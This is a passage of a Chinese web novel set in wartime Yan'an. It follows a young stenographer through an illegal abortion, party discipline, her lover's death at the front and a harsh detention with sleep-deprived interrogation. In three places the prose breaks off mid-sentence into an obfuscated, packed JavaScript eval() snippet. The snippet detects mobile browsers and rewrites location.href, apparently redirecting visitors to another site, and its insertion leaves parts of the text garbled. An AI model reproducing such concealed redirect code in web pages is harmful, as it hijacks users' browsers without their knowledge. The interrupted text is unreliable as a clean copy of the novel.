在这样的阒然静谧之中,人就格外容易胡思乱想,思绪在黄菲的头脑中散乱地弥漫着,一会儿想到这里,一会儿又想到那里,想着如今的景斌不知在哪里,如果他将来回来,得知自己打了胎,他会难过吗?还是会生气?不过自己也实在没有别的办法,即使他再怎样不高兴,自己如今也只能做这样的选择。 对于这个还没有成形的孩子,黄菲并没有太多的痛心,或者像曾经以为的那样,秉着母亲的天性,堕胎之后内心是多么的痛苦,想到对不起自己的孩子,黄菲却不是这样,打胎之后她最大的感觉就是,劫后余生,这一场大祸总算躲过去了,或者母爱也是学来的吧,自己实在没有这样学习的机会,自从发觉可能怀了孕,黄菲最鲜明的感觉就是恐怖,大难临头一样,首先要做的是处理眼前的危机,至于那些缠绵的情感,还是留待以后吧,等自己有时间喘一口气,再回想起这段经历,或许会有不一样的感受。 黄菲就这样浮想着,在炕上翻了个身,又继续静静地躺着,忽然她发现,自己此时的样子,竟然莫名地仿佛一具尸体,都是一动不动,唯一的不同,就是自己还在呼吸,或者说,自己还能够思考,能够意识到如今的状态与尸体是多么的相像。 当天傍晚,估量着焦文俊要回来了,黄菲勉强从炕上爬了起来,点起炭炉煮了晚饭,她刚刚将白菜汤摆上桌面,焦文俊回来了,一看到黄菲的脸,便不由得惊呼一声:“啊呀,黄菲,你的脸色怎么这样难看?是病了么?” 黄菲点了点头,有气无力地说:“不太舒服。” 焦文俊关切地问:“要去医院么?” 黄菲摇头:“不用了,过两天自己就好了。” 黄菲本来是以为,吃了打胎药之后,流血几天便没事了,哪知她的恶露竟然流个不停,一直过了两周,依然不见停止的迹象,黄菲慌了神,又去找胡瑾,两个人一商量,便知道是没有流干净,胡瑾忧心忡忡:“这样子必须去刮子宫了。” 黄菲黑云压顶一般惊恐:“那样岂不是要给人知道了?” 胡瑾皱眉:“如今又能怎么样呢?一直这样下去,你的身体受不住的。” 甚至可能就这样耗尽了自己,也未可知,所以必须去医院了,先保住性命,其她的之后再忧虑吧。 黄菲左思右想,最后终于只能是去医院,在那里要求刮子宫,她的请求自然是给批准了的,毕竟胚胎已经没有了,现在重要的便是保全女同志的生命,所以会给她刮子宫,做了手术之后,医生又安排她住院三天观察。 躺在病床上,黄菲的一颗心一会儿抽紧,一会儿又放松下来,她紧张,因为这个时候,机关一定已经知道了自己刮子宫的事,放松,则是想到终究是刮干净了,不会有流血而死的危险,于是心中安稳,至于之后要如何面对组织的裁判,怎样面对同志们的眼神,都等到三天之后再说吧。 黄菲一个人在医院里,静静地躺了三天,中间没有人来看她,三天之后,要出院了,颜医生批准了她离开医院,望着黄菲细细的背影,颜若平的心情一时间有些幽幽的,真的有一点心有戚戚,身为妇产科的医生,这些年过来堕胎的女同志,她看得不少了,其中也有像这位黄菲同志这样,年纪轻轻就刮子宫,尤其是还没有结婚,这样今后的名声愈发不好了。 打胎这种罪过,仿佛独属于女人,男欢女爱是两个人的事,怀孕却只有女人承受,一想到那很可能并不想要的胚胎,欢乐也往往不那么痛快,要提心吊胆,如果真的有了呢,倘若正是需要的还好说,假如不是,无论养下来还是打胎,就都是过错了,前者是经济方面的罪过,后者是道德方面的罪孽,女人的身体付出很大代价,精神上也要受折磨,想一想就感觉不公平。 所以这些年,颜若平往往不愿多想,想得多了就会痛苦,对于病人,也只是做到尽职尽责就好,太多投入感情也会让人痛苦,而且有一种无能为力,那是很损耗人的情绪,只是这一回看到了黄菲,那年轻的苍白脆弱,让颜若平沉坠已久的心事又不由得泛起,只是自己除了能让她在这个避风港里短暂休息几天,却再没有了别的力量,这是自己能为同性提供的仅有的帮助。 黄菲离开医院,重新回到机关,第一件事就是找组织上坦白这件事,陆绍功看着黄菲在自己面前低垂了头,声音微微发颤,但却是竭尽全力镇定的述说,心头一阵火起。 这可真的是,不撞南墙不回头,一条路定要走到黑,不愧是有胆量来延安的,她居然敢干出这样的事来,反骨可真硬。 其实不用等黄菲自己来说,她一到医院里要求刮子宫,自己这边就知道了,当时就惊讶得自己张大了嘴,实在意想不到啊,黄菲这个人,看起来很单纯的,洁白干净,竟然能够未婚先孕,真的让人眼珠子都能掉下来。 等陆绍功冷静下来又一想,为谭永光抱不平的心一时有所淡化,更多的倒是为黄菲感到沉甸甸,小黄啊,你这可怎么是好呢?你之前一直说的是,和谭永光没有感情,我就劝你,先结婚,慢慢培养感情,你总是不肯听,然而那都是从前,现在你就是想要和人家先结婚,再谈你们小资产阶级讲究的恋爱,老谭都是不会答应的了。 老谭那个人我知道,心高气傲,他虽然是一心看中了你,可是哪能让你这么给他没脸?他这边一门心思想要你,你那边红杏出墙,和别人搞了起来,尤其是还弄出了孩子来,虽然那孩子没有生下来,可是打胎也很丢脸啊,简直就是往老谭脸上刷黑漆,他倘若还能要你,出门都没脸见人,所以你现在倒是不用烦恼怎么拒绝老谭了,你们两个绝成不了。 而且你以后可怎么办呢?条令已经施行了啊,打胎是犯罪,你自己偷偷的吃药,经过谁批准了?总算你还老实,说是自己去买了打胎药,吃了药堕胎,没说是一不留神闪了腰,那胎自己掉下来,倘若一定要那样说,也未必查得出,所以你这是对组织还算忠诚?我得给你个什么处分呢? 半个钟头之后,等黄菲全都说完了,陆绍功吁了一口气,缓缓地说:“小黄啊,你这个错误是严重的,好在你还肯如实坦白,等组织上研究一下,给你结果。” 黄菲叹了一口气:“我知道了。” 然后就站起身来,拖着步子走了出去,仿佛一下子便老了二十岁。 当天晚上,陆绍功回到家中,周庆英刚刚把洗净的衣服晾晒出去,见他回来了,便赶快跟了进来,张口便问:“老陆,你们的那个黄菲今天回来了?” 陆绍功重重地坐在炕上,抬头道:“你的消息倒是灵通。” 周庆英笑道:“这么大一件事,怎么可能不知道?要说黄菲,虽然年纪小小的,倒是让人刮目相看。” 不一般呢,和自己之前想的不同,也不知道她是天生不爱虚荣呢,还是看了莫耶的那篇小说,总之是不向往老干部。 得说莫耶的那一篇《丽萍的烦恼》,虽然不过两个月,却已经在延安掀起好大风波,已经有人在说,是丑化革命军人,攻击党和军队。 那一期的《西北文艺》,自己大略扫了两眼,也看到了这篇小说,当时没有太丰富的感触,只是不由自主把里面的老干部和自己的爱人对比了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344748|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下,虽然有很大不同,却也不是完全没有相似,在外面是领导,回到家里也依然是领导呢,总是要自己“提高觉悟”。 所以老干部的夫人,也不是好当的,生活待遇上倒是能比别人好一些,起码有“小鬼”帮忙做勤务,虽然分别开伙,有机会也能沾光吃好一点,然而付出的那些代价啊,也不是一句话两句话说得完的。 陆绍功“哼”了一声:“你还夸她呢?” 之前不是很看不顺眼?在那里疑神疑鬼的。 周庆英笑着说:“我现在知道她是个有骨气的人。” 团长她不要,一定要找青年学生,穷作家,可见是不一样的。 对于这些外面来的年轻的女学生,延安的男同志们自然一律是欢迎的,只是女同志的心理就很有些微妙,尤其是那些参加过战争的女英雄,对于女学生,公开的态度自然也是热情的,谁也不能说不喜欢,可是悄悄地,却总有一些暗影在心里。 多年的战斗,让她们都锤炼得豪迈,本来也不觉得,只是与外面来的女学生一比,就发觉自己缺乏女人味,丈夫又是多年的革命资历,在革命队伍里有一定的位置,很容易吸引崇拜英雄的年轻女学生,这让人有时候不免心中不自在,陕北那些缠足、愚昧、不识字的乡下婆姨,不能够与自己争,可是女学生就不一样,有知识有文化,往往来自城市,绝不像那些陕北婆姨,一股土包子气,那可都是“洋包子”呢,喝洋墨水,吃洋面包长大的,别看都端端庄庄的,可是总觉得一股狐狸精气息。 所以一说到女学生,周庆英和几个要好的老姐妹,都有点心烦,女人有知识是好的,但女人有知识便勾引别人的男人,就不好了,不是自己思想封建,政治落后,实在是人之常情,别说是自己,就是中央的圈子里,也照旧是这样,当初吴光伟那一件事,就很让人气恼,虽然许多人不知道,但自己知道,想一想便为□□感到冤屈,想来就是为了这一件件的糟心事,□□出走苏联,给江青占了位置,这就是前车之鉴。 陆绍功听了周庆英这两句评点,一时间不知是好气还是好笑,抽搐着脸颊上的肌肉,说道:“她这叫有骨气?她是政治上天真幼稚,生活上腐朽堕落,纯就是把自己给毁了,一辈子的污点。” 周庆英笑道:“且不说这些,你打算把她怎么办呢?” 陆绍功站起身来,在地上不住地踱着圈子:“怎么办?错误是严重的,处分是一定要有的,不然不能够严肃组织纪律,现在机关里的意见也很不一致,有一些同志主张要严厉处理,我觉得小黄毕竟还年轻,虽然一时失足,走错了路,好在知道悔改,和组织如实坦白,她这样迷途知返,组织上也应该给她一个机会,让她改正错误,首先检讨肯定是要作的,要作出深刻的反省,另外她不是正在要求入党吗?我看给她无限期延长入党预备期,也就差不多了。” 周庆英噗嗤一笑,自己的爱人啊,这可真的是,板子高高举起,轻轻放下,如今女人打胎可是与从前不同了,不经过组织允许,私自打胎是犯罪,本来是应该送去李家沟的看守所的,得说那看守所原本是在清凉山,当初有那颓废落后的人,动不动就说,“大不了上清凉山”,后来日本轰炸,就转去了李家沟了。 现在老陆要黄菲作检讨,又延长她的入党预备期,虽然从政治生命上,是很严重的打击,不过比起送李家沟,毕竟已经很是宽大了。 陆绍功看了看她,也明白她的意思,自己对黄菲,是太过宽容了,不然又能怎样呢?她是个出色的速记员,肚子里的胎现在反正已经是打了,难不成就为了这件事,把她送到法院?那样的傻事,陆绍功是不肯做的,机关里正缺人啊,工作是繁重的,黄菲这三天不在,就已经积了一堆事在那里,倘若要把她办成犯罪,就更加的麻烦,所以陆绍功想着,就这么算了吧,天底下哪有完全不打折扣的纪律? 听陆绍功这样一说,周庆英点了点头,这样很好,终究也是女人,自己并不希望看到黄菲落到那样惨,毕竟黄菲已经证明了,她是一心为了爱情,这倒是很值得钦佩的,所以自己对她,也就没有了之前的猜疑,反而是为她感到惋惜,这一次的坎坷,但愿她能够顶过去,之后总有路可以走。 18. 第十八章 逝去的人 第十八章 逝去的人 黄菲作了痛切的检讨之后,重新回到机关工作,这一回她便发现,同志们对自己的态度两样了,从前如同春风拂面的感觉消失了,变得十分淡漠,说话冷冷的,脸上的肌肉都好像不会动了,表情僵硬。 本来黄菲流产之后,身体就虚弱,这一阵都很不愿意照镜子,只是一块巴掌大的小镜子,却偏偏出奇地清晰,照见自己面色发黄,虽然还没有结婚,却已经成为“黄脸婆”,延安虽然注重的是“飒爽英姿”,不讲究修饰容貌,可是看到自己如今这个样子,黄菲依然感到心中难过,莫非自己年纪轻轻,从此就失去了青春? 在这样的身体状况之下,工作自然就感到比从前吃力,而同志们又是这样的冷淡,这便让日子更加难熬,黄菲从没有想过,自己在延安居然要“熬日子”,如今她每天去机关,进窑洞的门,都感觉头皮发麻,是硬着头皮进去,在那里面简直度日如年。 而且也不知究竟是真实,还是自己的错觉,黄菲总觉得有同志在背后嘁嘁喳喳议论自己,说着自己打胎的事,这让她脸上发烧,心跳加快,浑身肌肉都绷紧了,每当这个时候,黄菲就赶紧对自己说:“快放下你的那些蠢念头,没有人在背后嚼舌根,都是你自己胡思乱想,革命队伍里,怎么会有那么长舌头的人呢?” 黄菲强自镇定,希望能够像从前一样工作,只是情形却不能如她所愿,每天在机关,都很是煎熬,最盼望的就是工作时间的结束,快快回去自己住的窑洞,焦文俊在这件事上倒不很介意,只是数落自己有些傻,此外依然是关心的,另外胡瑾对自己也很是关切,拉琴给自己听,那一块小小的世界,俨然便是自己的避难处。 黄菲就这样一边坚持忍耐,一边期待景斌归来,在她看来,只要景斌回来了,与自己结婚,之前的那些羞惭窘迫,就都可以消弭。 在这样的期盼之中,时间到了七月,延安发生了一个大新闻,叶群要与□□结婚。 起初听到这个消息,黄菲很是吃了一惊,□□不必说,叶群她也是知道的,当初女子大学还在的时候,叶群是组织教育科的科长,负责安排课程教学,另外课余活动,时常能看到她,和大家一起种菜,跳苏联集体舞,虽然不是很要好的朋友,但黄菲对她并不陌生。 旁人都知道,叶群是个美人,她的个子不高,身材苗条,相貌清秀,在延安也是有些名气的,不过那只是她的外貌,黄菲对叶群的性格也有所了解,记忆中叶群笑起来很是明媚灿烂,这个时候细细回想,叶群是开朗的,很喜欢与人谈天,待人热诚,另外也有沉静的一面。 黄菲清楚地记得,有一次难得播放电影,大家都去看电影,黄菲也随着同伴一起经过校园,偶然一瞥,看到叶群一个人坐在树下静静地读书,仿佛这边的扰攘根本不能触动到她,在她的身边,自成另一个世界,与外界毫无关涉,当时黄菲就觉得心中一动,只觉得那一刻的叶群是一道风景,相当的有韵味,与别人很不相同。 倘若那一回是一个男子看一个女子,那么便是“金风玉露一相逢”,十分浪漫,如同传统小说中一样,才子佳人,只可惜不是,那是一个女子看另一个女子,便少了那一份旖旎。 这一桩婚姻,延安人人议论: “四大美女,又有一个嫁给了首长。” “美人总是要配英雄的。” 延安的四大美人,说法不同,黄菲听到的是,江青、孙维世、浦安修、叶群,江青赫赫有名,已经是主席夫人,浦安修是彭总的爱人,如今叶群也与林校长结了婚,算起来四个有名的美人之中,只有孙维世还没有嫁给首长。 这一桩英雄与美人的结合,在延安热议了好一阵,一直到了八月,还依然能听到人津津乐道。 这一天黄菲回到窑洞,躺在那里正静静地养息,忽然外面有人急促地敲门,焦文俊利落地站起来开了门,油灯幽暗的光线之中,一个男子猫着腰钻进来,进门便转动着脖颈四下张望,仿佛在寻找着什么,很快便看到了另一个人,他忙伸长脖颈,冲着那躺在炕上的年轻女子焦急地说:“黄菲,黄菲!是你吗?我给你带信儿来了!” 黄菲正自迷糊朦胧,忽然间听到有人呼唤自己,那沙哑的声音仿佛熟悉,她这一阵神经紧张,已经有一点好像惊弓之鸟,听那人语调焦急,登时便一下子从炕上坐起来,睁大了眼睛一看,油灯光下,赫然竟是沈芒。 黄菲一见是他,心中便不由自主地一紧,连忙往炕沿边挪了挪身子,仔细一瞧,几个月不见,沈芒也大变了样子,头发凌乱,胡子拉碴,两颊和两只眼窝都深深地陷了下去,一副难民相,神情之间颇有一点仓皇,再一看身上,灰布军装上一道一道黑印子,也不知是在哪里蹭的。 见到沈芒,黄菲本能地便想到景斌,满心的焦灼,却不好立刻便问,她挪下了地,拿过暖水壶往杯子里倒水,递给沈芒:“刚刚从前线回来么?辛苦了,快喝一杯水润润喉咙。” 沈芒虽然有一件急事要告知她,然而这一路赶得紧,嗓子里确实如同火烧一样,便接过水杯,一仰脖咕嘟咕嘟一饮而尽,然后抬起左手在嘴巴上一抹,抹干了水珠,他这么一抬手臂,给黄菲看见了左边衣袖上穿了一个洞,圆圆的,仿佛一只空荡荡的眼睛。 黄菲扶着桌子站在旁边,眼见沈芒喝完了水,这才赶快问道:“沈芒,你怎么忽然回来了?大家都回来了吗?” 她纵然不问,沈芒也要说的,本来特意找到这里,就是为了这件事,于是沈芒侧过头去,有些费力地说:“黄菲同志,有一件事我要告诉你,你一定要坚强,一定要挺住,我们革命者,要禁得起任何打击……” 他这一串的前言,让黄菲又是急又是慌,越听越是忐忑,焦躁地跺着脚追问道:“究竟是怎么回事,你倒是说啊!莫非景斌挂彩了?住进了医院?” 沈芒垂下头去,有些不敢看她的样子,一个字一个字从牙缝里挤出来:“黄菲,景斌他……他……他牺牲了。” 一听这句话,黄菲登时“唉哟”一声,身子一晃,便朝地上倒去,沈芒和焦文俊连忙一左一右扶住了她,没有让她直接摔倒在那里,然后扶着她躺到了炕上,沈芒倾过身子连连呼唤:“黄菲,黄菲,你要支持住啊,一定要保重自己的身体,继续革命。” 焦文俊也说:“你最近身体不好,可得留神自己的健康。” 沈芒这时候也发现黄菲一脸焦黄,病恹恹的样子,便问道:“黄菲,你怎么了?这一阵病了么?” 焦文俊撇了撇嘴,道:“可不是身子伤得厉害么!你是没见到,我们小黄这些日子遭的这个罪。” 景斌如今是死了,什么都说不到了,倘若他还活着,焦文俊真的要挖苦两句,自己跑走了,把黄菲一个人丢在这里,黄菲这一向的处境她也看到了,那真是生不如死,难为她年纪轻轻,咬着牙居然能顶下来。 沈芒连忙问:“究竟是怎么了?” 黄菲趴在炕上正痛声大哭,焦文俊想着这事在延安反正也不是秘密,便三言两语简略地给他说了,沈芒听明白了,又是跺脚又是扼腕:“黄菲,真是难为你了,这可也真的是,批判这种事情,就好像对阶级敌人一样。” 虽然不好多说,但在沈芒看来,对堕胎如此惩罚,是太过严峻了,让人不自禁地便想到了柔石的那一篇小说,《为奴隶的母亲》,虽然故事的情节与黄菲的经历不是一样。 黄菲哭得不能止歇,中间几乎晕厥过去,一个钟头之后,终于稍稍平静下来,勉强支撑起身体,靠着被子坐在那里,慢慢地问道:“沈芒,景斌究竟是怎样去的?” 沈芒两只手紧紧地攥在一起,回答道:“我们到了前线,起初是随着指挥部一起,在比较安全的地方,后来景斌说,要获得抗日战士真实的战斗生活材料,就应该去最前方,我们就去了,也都配了枪,在一线连队跟着一起作战,有一次转移,中途遭遇了鬼子,他们攻击我们,我们要守阵地,一颗子弹飞过来,就打中了景斌的头,可叹他连一句最后的话都没有留下来,就这么牺牲了。黄菲,你不要怨景斌,其实到了后来,鬼子攻击越来越厉害,指挥部也不安全了,随时能遇见鬼子,团部包括炊事员在内,人人都要作战……” 沈芒说得絮絮叨叨,东一句西一句,劝解着黄菲。 黄菲身体绵软地靠在那里,两只眼睛直直的,一句话也不说,沈芒说的这些,她仿佛是听到了,又好像没听到。 沈芒说了一阵,该讲的都已经反复讲了几遍,见黄菲依然是一言不发,只顾发呆,自己坐在这里,一时也不知该怎么样是好,他犹豫了一下,重重地叹息了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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吃着饭,何敏修劝慰着她:“过去的已经过去了,今后的路还长着,可以重新开始。” 黄菲怔怔地望着碗里的八宝饭,道:“敏修姐,我现在终于知道了,人世是复杂的。” 人可以有多刻薄,自己这段时间是见识到了,背地里议论自己的刮宫:“好像关云长刮骨疗毒。” 这是劳苦出身干部的比方。 倘若是知识分子呢,则是另一种刁钻:“如今便觉得曹雪芹描写得生动,尤二姐吞金自逝,‘恨命含泪便吞入口中,几次狠命直脖,方咽了下去’,这一位不过是把生金换做了打胎药,那画面如在眼前,。” 本来以为都是自己多心,然而那一次是亲耳听到了,那两个以为旁边没人,便说起来,恰好给自己听见,当时只觉得脑子里一阵轰响,一颗心几乎跳到嗓子眼,眼前金星乱冒,又是气愤,又是惭愧,眼泪几乎就要流出来,强自忍住了,悄悄地走开。 何敏修满眼同情地看着她,作为一个向往革命的青年,黄菲并不是开在和暖春光中的花朵,她是见识了人间的黑暗,这才投奔延安,只是在延安,她遇到了另外一些人和事,一颗原本充满热情的心,于是遭遇了冰风。 何敏修想着一下,慢慢地说:“现实是很复杂的,唯其知道它是复杂的,所以才更加可以想得清楚,知道自己要怎样做。” 往往真正坚定的革命者,就是那些更明了其中真实的人,这样的人不是一心怀抱着梦幻憧憬,而是在真的看清了之后,做出了选择。 中饭之后,两个人分别,何敏修走在回机关的路上,眼前依然浮现着黄菲的脸,简直就是鲁迅先生那一篇《故乡》,只不过是少年时候的闰土迅速转为中年时代。 黄菲自然不是贫农家的孩子,只不过在乡下寄养过,晓得农务,所以把她往那边去比拟,当初刚来延安的时候,多么的有活力,黄菲当然不是陕西女子那种强壮,结实得鼓起来的两颊红得如同苹果,可是面上那一点嫣红,显得极其鲜活灵动,只是现在黄菲的脸,却如同二十几年后的闰土,“已经变作灰黄”,黄菲刚刮过子宫的时候,自己远远地瞥见她一次,当时就觉得她的气色很差,这一阵必然是为了景斌牺牲,又遭受了打击,简直没有喘息之机,让她怎样恢复呢? 想着黄菲的刮子宫,何敏修不由得便想到自己,那一年三级选举,自己提前回来,其实也正是为了这件事,意外怀孕,只是不同于这些年轻的姑娘,自己是早就知道不久之后,打胎就是犯罪,所以赶在规定执行之前,快快了结了这件事,在这样的现实之中,作母亲与作革命者,是不能相容的。 何敏修想着想着,一不留神脚下绊了一下,差一点摔倒,她连忙定了定神,专心走路,再不去多想。 19. 第十九章 烈风 第十九章 烈风 这一年其余的时光,黄菲实在不知道自己是怎样过来的,只是当她恍然意识到时间的时候,发现已经是一九四三年的二月,马上要过春节了。 虽然是抗战期间,虽然是严寒天气,然而春节期间的延安,氛围也依然是热烈的,随着节日将近,人们的脸上都焕发出光彩,每接近除夕一天,眼神就更亮一分,过年了,放假了,有演出看了,听说新排了戏,可好看呢! 或许人终究是难以做到绝对不受外界的影响,这将近一年的时间,黄菲虽然经历了人生之中最为痛切的事,但到了个时候,因了周围的热烈,她那一颗原本沉在幽深冰潭之中的心,也恢复了一点生机,仿佛是深埋在雪层之下的野草,又发出了一点绿绿的新芽,开始留意旁人对过年的议论,都有些什么热闹可看。 果然很是让人激动的,鲁艺排演了一出新的秧歌剧,《兄妹开荒》。 二月五号大年初一上午,黄菲跟着其她人一起,去了城南门外的广场,到那里一看,简直是人山人海啊,这一天除了过年,也是庆祝中国和英美订立新约,过去的不平等条约都废除了,举国欢庆,延安也不例外,当天广场上放眼望去,满是人头,黄菲看得头晕,估算着大约有上万人。 就是在这一次的庆祝会上,黄菲看到了《兄妹开荒》:“雄鸡雄鸡高呀么高声叫,叫得太阳红又红,身强力壮的小伙子,怎么能躺在热炕上作呀懒虫,扛起锄头上呀上山岗,站在高岗,好呀么好风光!……” 黄菲两只手抄在棉衣的袖子里,站在一处小土坡上,翘首往前面看着,真的有趣,非常活泼,与那些典雅的诗词截然两样,是不同的趣味。 这一出秧歌剧很是短小,不多时便演完了,然后是下面的节目上场,只是黄菲还依然意犹未尽,很想再看一次。 于是第二天,打听到另一个地方又有秧歌表演,黄菲便又赶去了,就为看《兄妹开荒》,也有许多人同她一样,追着看,“去看王大化!” 这部秧歌剧如此轰动,春节之后依然为人所关注,《解放日报》整版登出了剧本,还有社论,可见高层也是注意到了的。 既然引领了动向,延安许多普通人便也不住地议论: “真是好看,一看就让人想要发笑。” “王大化把个陕北的年轻农民给演活了!” 说着说着,便说到了二流子问题:“是应该好好改造,出力劳动生产,能过好日子,整天躺在炕头上,等房顶上掉馅饼呢?一天吃什么?” “男二流子也就罢了,还有女人也当二流子,脸皮不是一般的厚,这样的女二流子,是应该让她的丈夫好好管一管。” 黄菲正在誊写速记稿件,听到了这句话,不由得便抬起头来,低低说了一声:“那不是夫权又回来了?” 那边几个人登时便向她投来一瞥。 黄菲于是感觉到是失言了,自己为什么要说这一句呢?自从经历了那一次婚姻的波澜,到如今自己已经很是谨慎了,听到新来的年轻女同志抱怨领导冷漠,革命队伍里缺少温情,便只是默默的听。 她本来是旧式家族出身,在父亲的家中,一向是少说多听,特别克制,初来延安的时候,在这样一个不同的环境,曾经有一段时间解除了束缚,天性得以舒展,很爱说话,对着这样一群志同道合的同龄人,简直是把什么心事都说了出来,可是最近的一年,黄菲感到自己又渐渐回到了在桂林平乐时的样子,谨言慎行,把许多话都藏在心里。 可是方才,自己实在是忍耐不住,改造二流子,自己早就知道,女二流子的事,也曾有所耳闻,给夫家严格管束,要帮助丈夫整理家务,倘若依然那样懒惰,那么丈夫打骂,政府不管,也不准离婚。 当初听说这件事,黄菲为了自己一向的困厄,对此的触动并不很深,只是心中一阵不自在,便过去了,然而此时听到旁人的评论,不由得便一阵难过,黄菲是不赞成女人的懈怠,人如果怠惰,要怎样生活呢?可是由丈夫来进行惩罚,她总觉得心里过不去这一道坎。 从前在女大的时候,政治课上的学习,毛主席的《湖南农□□动考察报告》里面说得很明白,“这四种权力--政权、族权、神权、夫权,代表了全部封建宗法的思想和制度,是束缚中国人民特别是农民的四条极大的绳索”,那时候黄菲与同学们的讨论,“我以为把‘农民’换成‘女人’,是更加贴切的,都是政权族权和神权也束缚男人,可是‘夫权’却是专门对着女人的。” 当时熊晖用力点头:“是的,还有‘父权’呢,当爹的也管着儿子,可是对女儿,就更加严峻,完全的无情。” 与黄菲的情形类似,熊晖的父亲也是非常严酷,极其重男轻女,相比之下,高明霖的父亲反而是开明的,是一个“资产阶级知识分子”。 然而如今,为了抗战,为了革命,夫权居然又回来了,虽然黄菲是以为无论任何人都不该懒惰,作寄生虫,可是这个任由丈夫打骂,婆家的人监管,也实在难以接受,只要一设想那样的日子,黄菲就感到头皮发麻,封建社会女人的苦,写在小说里多数都是一样,就是丈夫殴打辱骂,婆家一家人虐待,在那样的故事里,女人是给人同情的一方,表现的是封建制度的罪恶,可是如今在延安,居然又都重现,而且是以正义的名义。 所以此时,自己才一个克制不住,溜出了那么一句话。 黄菲为了这一时的冲动,接连两天都感觉忐忑,好在都还风平浪静,然而到了第四天,忽然有同志通知她,要她交接手头的工作,组织上给她调换了岗位。 黄菲虽然有些不安,却本着职责的缘故,认真做了交接,将一向以来的工作材料交给了新来的速记员,一个十七八岁、刚刚毕业的女同志,然后就回到自己的住处等待消息。 可是到了第二天,等来的不是调令,而是来了几个保卫科的同志,将她带走了,隔离审查。 之后的一周,对于黄菲简直是黑暗无比的噩梦,保卫科的几个干事白天黑夜地审,坐在上面的几个人,拍着桌子瞪着眼睛,唾沫横飞,逼迫黄菲“交待问题”,是不是国民党或者日本人的特务,是不是反党?又拿出两个笔记本来,都是黄菲这几年的日记,为了仿效谢冰莹,黄菲自从来到延安,就开始写《延安日记》,为数不多的津贴都拿来买笔记本和铅笔,好在是用的速记方法,所以节省纸张,三年了,只不过用完了一个笔记本,第二个刚刚用了一半。 保卫科是很高效的,也很周密,他们前脚带走了黄菲,后脚就搜查她的个人物品,别的都没什么,只是这两个笔记本很神秘,一看就相当敏感,他们当然知道黄菲是速记员,为了解密她的笔记,便找了另一个速记员,就是接替黄菲的那一位,来翻译她的秘密记录,可是黄菲在速记方面很是钻研,她的日记不但使用了常规速记符号,还有一些自创的符号,真的好像密电码一样,旁人难以了解,所以翻译了半天,有些句子依然是一头雾水,这就更坐实了“特嫌”,保卫科的人就挥舞着笔记本,对着黄菲吆喝:“你说,这里到底都写了些什么?” 黄菲七天七夜没有合一下眼,每当她稍稍闭上眼睛,想要休息一下,就给人严厉地叫醒,倘若实在不肯睁开眼,就会给人推醒,到最后黄菲疲劳至极,极度的缺乏睡眠绷断了她最后一根神经,她不由得大叫出来:“让我走!我要回去,我不要再待在延安!” 五月十七日,礼拜一,段锐经过一个礼拜天的休息,感到精力又回到了自己身上,重新精神充沛,他快步往组织部那边走,经过一排窑洞,忽然听到其中一个窑洞之中,有一个女子声嘶力竭的叫喊:“我要离开延安!我要回家里去!” 段锐微微一皱眉,问身边的警卫员:“那是什么人在说话?” 警卫员笑着说:“保卫科前一阵抓了一些特嫌,都是有问题的人,正在审查,有些人受不住,就乱叫。” 段锐点了点头,本来还没有太在意,正准备继续走,这时候听到那个窑洞之中的犯人又在嚷着:“这不是当初说的革命,都是骗人的,你们欺骗了我!” 听了这几句话,段锐皱了皱眉,道:“你去问一下,审问的那个是什么人?” 警卫员答应了一声,往窑洞这边走来。 黄菲感到自己已经要疯了,各种恐怖的念头在头脑中乱撞,眼前时常出现幻象,有的时候她简直想要跳起来,一头撞在墙上,黄菲幻想着,如果自己此时正站在险峻的山崖上,甚至可以毫不犹豫地跳下去,就此结束一切的灾难。 而有的时候,她又想到了《啼笑因缘》,当年读这本书,里面的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344750|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈凤喜让她脊背发凉,读完之后,暗暗发誓将来无论遇到什么事,一定要保持清醒,绝不能给人逼疯,所以黄菲便又勉强镇定下来,大声呼叫:“我是冤枉的!我要回家!” 就在五月十九号,囚室的门给打开了,一个保卫干事走了进来,黄菲以为还是要继续审讯,可是对方却对自己冷峻地说:“黄菲,站起来,首长要见你。” 黄菲勉强从一堆干草上爬起来,跟着他踉踉跄跄走出了窑洞,站在门口处,白亮的日光刺着眼睛,黄菲不由得抬起手来遮挡,大约十天了吧,自己终于又重见天日,虽然不知接下来是要如何,是不是要押解自己去枪毙。 她跟着那个保卫干事一路走,也不知走了多久,终于在一个窑洞门前停了下来,黄菲正惶然着,那个人把她往里面一推,黄菲就身不由己地进去了。 到了里面,有三个男人,一个显然是高级干部模样,戴着手表,文质彬彬,旁边坐着的仿佛是秘书,还有一个挎着枪的人,似乎是警卫员。 那个高级首长见了她,面上竟然很是和蔼,冲着黄菲微微一笑:“黄菲同志,你来了,请坐。” 警卫员给她搬了一把椅子,黄菲恍恍惚惚地坐了下来,身体还不住地摇晃,连续这么多天没有睡觉,脊椎骨都酥了,支撑不住身体。 高级首长看到她这个样子,也暗暗叹息,□□还是应该本着救人的目的,像这样子车轮战,不让睡觉,是有点太残酷了。 然后他便问道:“黄菲,你的情况我已经调查过了,没有大的问题,现在决定先让你回去休息一下,等再审查一下,真的没有问题,就恢复你的工作,你看这样好吗?希望你能够坚定信心,继续为革命而努力。” 